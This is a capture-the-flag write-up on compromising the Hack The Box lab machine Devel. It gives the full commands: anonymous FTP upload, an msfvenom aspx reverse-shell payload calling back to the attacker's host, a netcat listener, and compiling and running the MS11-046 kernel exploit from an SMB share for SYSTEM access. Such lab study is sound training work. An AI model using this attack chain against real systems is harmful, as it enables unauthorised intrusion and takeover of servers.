How I became root on HTB Devel without Meterpreter

Heath Adams challenged his students to get root on HTB Devel without using Meterpreter. I accepted that challenge and succeeded! This is the report of how I did it.

Heath Adams challenged his students to become root on HTB Devel without using Meterpreter1. I accepted that challenge and succeeded! This is the report of how I did it.

In order to follow along you need a VIP subscription to Hack The Box (the monthly fee is 12 Euro at the moment), the HTB connection pack (download it from here) and Kali Linux (I’m using version 2020.3).

Create a Connection to the HTB Network

Refer to this post of mine.

Scanning and Enumeration

Open and write down Devel’s IPv4 address. Here we can also see that this is a Windows machine.

We first scan the target machine in order to identify open ports and services running behind those ports.

nmap -A -T4 -p-

The scan shows that the machine has two open ports:

  • FTP (21): We notice that anonymous FTP login is allowed. This tells us that we can upload files to the web server. Moreover, we can see some files here as well. It seems like it is a web root directory.
  • HTTP (80): We learn that the http-server-header is Microsoft IIS/7.5. If this were a pentest, this would be a finding as this is information disclosure. Moreover, we also get to know that the http-title is IIS7. This indicates that we are dealing with a default web-page.

The first thing we do for this enumeration is visiting the website shows a default web-page.

As our scan suggested, we are dealing with a default web-page. A default web-page indicates poor hygiene. What else did the website developer mess up? We look for extra directories by doing directory busting with DirBuster.

We brute-force directories on with DirBuster. We use the small list of lowercase words provided by Kali in /usr/share/wordlists/dirbuster and we look for asm, asmx, asp, aspx, txt, zip, bak, rar files.

DirBuster does not return anything interesting. The next step is to understand if we can execute files uploaded via FTP on the target. In order to do this, we first create a text file called test.txt on our Kali machine in which we write “test FTP”. Then, we connect to the target via FTP and upload this file. Now we navigate to in the web-browser. Wow! We can see “test FTP” being displayed. This means that the server read our file and executed it.

Create test.txt with content “test FTP” on your Kali machine. Now enter the following commands in the Kali terminal (> separates the commands): ftp > (enter username) anonymous > (enter password) anonymous > put test.txt . Then navigate to and press Enter.

Exploit Devel with a Windows payload

In this section, our goal is to get a reverse shell through FTP. Firstly, we will create a Windows payload with Msfvenom2 and save it into an aspx file. Then we will upload this file to the Devel machine via FTP and, after having set up a listener with Netcat, execute it.

We save the Msfvenom payload list into venom-payloads.txt and grep this file for windows/shell3 payloads.

msfvenom -l payloads > venom-payloads.txt ; grep windows/shell venom-payloads.txt

There are two payloads that are interesting for us: windows/shell/reverse_tcp and windows/shell_reverse_tcp. The first is a staged payload, whereas the second is a non-staged payload. The difference between the two is well-explained in this table:

This table was taken from Heath Adams’s “Practical Ethical Hacking”.

The staged payload did not get me in. For this reason, I will show you how to get a reverse shell by using the non-staged payload.

We create the payload and save it into ex_shell_ns.aspx :

msfvenom -p windows/shell_reverse_tcp LHOST=<Your IPv4 address> LPORT=4444 -f aspx > ex_shell_ns.aspx

We then load this file to the Devel Machine via FTP:


anonymous (This is the username)

anonymous (This is the password)

binary (Set the transfer type: Binary instead of ASCII)

put ex_shell_ns.aspx

We also open a new terminal tab and set up a listener with Netcat, where -n stands for numeric-only IP addresses, -v for verbose, -l for listen mode for inbound connects, and -p for local port number (in this case, port 4444):

nc -nvlp 4444

Finally, we open in our browser and we get a shell!

After running our payload on the website server, we get a shell on the target machine. However, we are not root.

Unfortunately, we are not root on this machine yet.

Post-exploit enumeration and Windows privilege-escalation

In this section, our goal is to become root on the target machine. This action is called privilege-escalation, as we have a non-root shell already. Before running this attack, we need to do post-exploit enumeration in order to find a working exploit for this specific machine.

First, we get some information on the target machine.

findstr /B /C:”OS Name” /C:”OS Version” /C:”System Type”

This is a Windows 7 machine (version 6.1.7600) with x86 architecture. Let’s google “windows 7 (6.1 build 7600) exploit”. Among the results, this exploit is the most interesting: “An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode (i.e. with NT AUTHORITY\SYSTEM privileges).” The only prerequisite is “low privilege access to the target OS”. No problem, we have this already. Let’s go ahead and use it.

We download the C source code to our Kali machine and save it as MS11-046.c and compile it as a 32-bit payload with mingw4:

i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32

Now we have to make MS11-046.exe accessible on the target machine. To do this, we launch an smbserver with Python on Kali:

mkdir smb

cp /usr/share/windows-resources/binaries/nc.exe smb/

mv MS11-046.exe smb/ share smb

We successfully started an smbserver with Python.

Now we go back to our shell on the target and run MS11-046.exe :

We run \\<Your IPv4 address>\share\MS11-046.exe on the target and we become root.

We are now the root user on the machine Devel! Now you just have to find the two flags for users root and babis. I leave this task as a challenge for you.

I hope you liked this post. If you have any question, feel free to leave a comment in the comment section. Never stop learning!